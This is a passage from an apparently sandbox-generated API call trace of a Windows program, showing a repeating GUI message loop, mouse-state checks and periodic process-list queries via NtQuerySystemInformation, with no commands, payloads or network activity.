PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0209.803] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0209.803] WaitMessage () returned 1 [0209.960] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0209.960] IsWindowUnicode (hWnd=0x10166) returned 1 [0209.960] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0209.960] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0209.961] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0209.961] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0209.961] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0209.961] WaitMessage () returned 1 [0210.487] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0210.487] IsWindowUnicode (hWnd=0x10166) returned 1 [0210.487] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0210.487] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0210.487] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0210.487] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0210.487] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0210.488] WaitMessage () returned 1 [0211.018] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0211.018] IsWindowUnicode (hWnd=0x10166) returned 1 [0211.018] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0211.018] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0211.018] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0211.018] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0211.018] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0211.018] WaitMessage () returned 1 [0211.548] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0211.548] IsWindowUnicode (hWnd=0x10166) returned 1 [0211.548] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0211.548] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0211.548] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0211.548] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0211.548] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0211.548] WaitMessage () returned 1 [0211.813] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0211.813] IsWindowUnicode (hWnd=0x1015c) returned 1 [0211.813] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0211.813] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0211.813] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0211.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x65f0) returned 0x0 [0211.815] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0211.815] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0211.815] WaitMessage () returned 1 [0212.078] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.078] IsWindowUnicode (hWnd=0x10166) returned 1 [0212.078] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.078] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0212.078] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0212.078] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0212.078] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0212.078] WaitMessage () returned 1 [0212.108] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.108] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x2240317) returned 0x1 [0212.108] IsWindowUnicode (hWnd=0x1015e) returned 1 [0212.108] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.108] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x2240317) returned 0x1 [0212.108] SetCursor (hCursor=0x10003) returned 0x10003 [0212.108] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0212.108] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0212.108] _TrackMouseEvent (in: lpEventTrack=0x2b062f4 | out: lpEventTrack=0x2b062f4) returned 1 [0212.108] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0212.108] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0212.108] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x14d0131) returned 0x0 [0212.108] GetKeyState (nVirtKey=1) returned 0 [0212.108] GetKeyState (nVirtKey=2) returned 0 [0212.108] GetKeyState (nVirtKey=4) returned 0 [0212.108] GetKeyState (nVirtKey=5) returned 0 [0212.108] GetKeyState (nVirtKey=6) returned 0 [0212.108] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0212.108] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0212.108] WaitMessage () returned 1 [0212.203] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.203] IsWindowUnicode (hWnd=0x1015e) returned 1 [0212.203] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.203] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0212.203] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0212.203] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.203] IsWindowUnicode (hWnd=0x1015e) returned 1 [0212.203] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.203] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0212.203] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0212.203] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x14d0131) returned 0x0 [0212.203] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0212.203] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0212.203] WaitMessage () returned 1 [0212.609] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.609] IsWindowUnicode (hWnd=0x10166) returned 1 [0212.609] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0212.609] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0212.609] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0212.609] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0212.609] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0212.609] WaitMessage () returned 1 [0213.076] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0213.077] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0213.077] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0213.077] IsWindowUnicode (hWnd=0x1015e) returned 1 [0213.077] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0213.077] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0213.077] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0213.078] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0213.078] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0213.078] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0213.078] WaitMessage () returned 1 [0213.139] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0213.139] IsWindowUnicode (hWnd=0x10166) returned 1 [0213.139] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0213.139] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0213.139] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0213.139] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0213.139] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0213.139] WaitMessage () returned 1 [0213.669] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0213.669] IsWindowUnicode (hWnd=0x10166) returned 1 [0213.669] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0213.669] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0213.669] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0213.670] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0213.670] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0213.670] WaitMessage () returned 1 [0213.825] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0213.825] IsWindowUnicode (hWnd=0x1015c) returned 1 [0213.826] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0213.826] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0213.826] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0213.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6530) returned 0x0 [0213.838] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0213.838] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0213.838] WaitMessage () returned 1 [0214.200] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0214.200] IsWindowUnicode (hWnd=0x10166) returned 1 [0214.200] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0214.200] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0214.200] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0214.200] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0214.200] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0214.200] WaitMessage () returned 1 [0214.730] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0214.730] IsWindowUnicode (hWnd=0x10166) returned 1 [0214.730] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0214.730] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0214.730] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0214.731] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0214.731] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0214.731] WaitMessage () returned 1 [0215.092] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.092] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x193036f) returned 0x1 [0215.093] IsWindowUnicode (hWnd=0x1015e) returned 1 [0215.093] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.093] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x193036f) returned 0x1 [0215.093] SetCursor (hCursor=0x10003) returned 0x10003 [0215.093] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0215.093] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0215.093] _TrackMouseEvent (in: lpEventTrack=0x2b062f4 | out: lpEventTrack=0x2b062f4) returned 1 [0215.094] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0215.094] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0215.094] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0xbc0189) returned 0x0 [0215.094] GetKeyState (nVirtKey=1) returned 0 [0215.094] GetKeyState (nVirtKey=2) returned 0 [0215.094] GetKeyState (nVirtKey=4) returned 0 [0215.094] GetKeyState (nVirtKey=5) returned 0 [0215.094] GetKeyState (nVirtKey=6) returned 0 [0215.094] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.094] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.094] WaitMessage () returned 1 [0215.198] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.198] IsWindowUnicode (hWnd=0x1015e) returned 1 [0215.198] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.198] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0215.198] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0215.198] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.198] IsWindowUnicode (hWnd=0x1015e) returned 1 [0215.199] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.199] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0215.199] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0215.199] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0xbc0189) returned 0x0 [0215.199] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.199] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.199] WaitMessage () returned 1 [0215.261] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.261] IsWindowUnicode (hWnd=0x10166) returned 1 [0215.261] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.261] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0215.261] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0215.261] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.261] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.261] WaitMessage () returned 1 [0215.791] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.791] IsWindowUnicode (hWnd=0x10166) returned 1 [0215.791] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.791] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0215.791] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0215.791] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.791] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.791] WaitMessage () returned 1 [0215.838] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.838] IsWindowUnicode (hWnd=0x1015c) returned 1 [0215.838] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0215.838] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0215.838] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0215.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6530) returned 0x0 [0215.847] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.847] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0215.847] WaitMessage () returned 1 [0216.109] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0216.109] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0216.109] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0216.109] IsWindowUnicode (hWnd=0x1015e) returned 1 [0216.109] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0216.109] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0216.109] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0216.109] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0216.109] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0216.109] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0216.109] WaitMessage () returned 1 [0216.336] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0216.336] IsWindowUnicode (hWnd=0x10166) returned 1 [0216.336] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0216.336] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0216.336] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0216.336] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0216.336] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0216.336] WaitMessage () returned 1 [0216.852] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0216.852] IsWindowUnicode (hWnd=0x10166) returned 1 [0216.852] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0216.852] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0216.852] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0216.852] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0216.852] PeekMessageW (in: 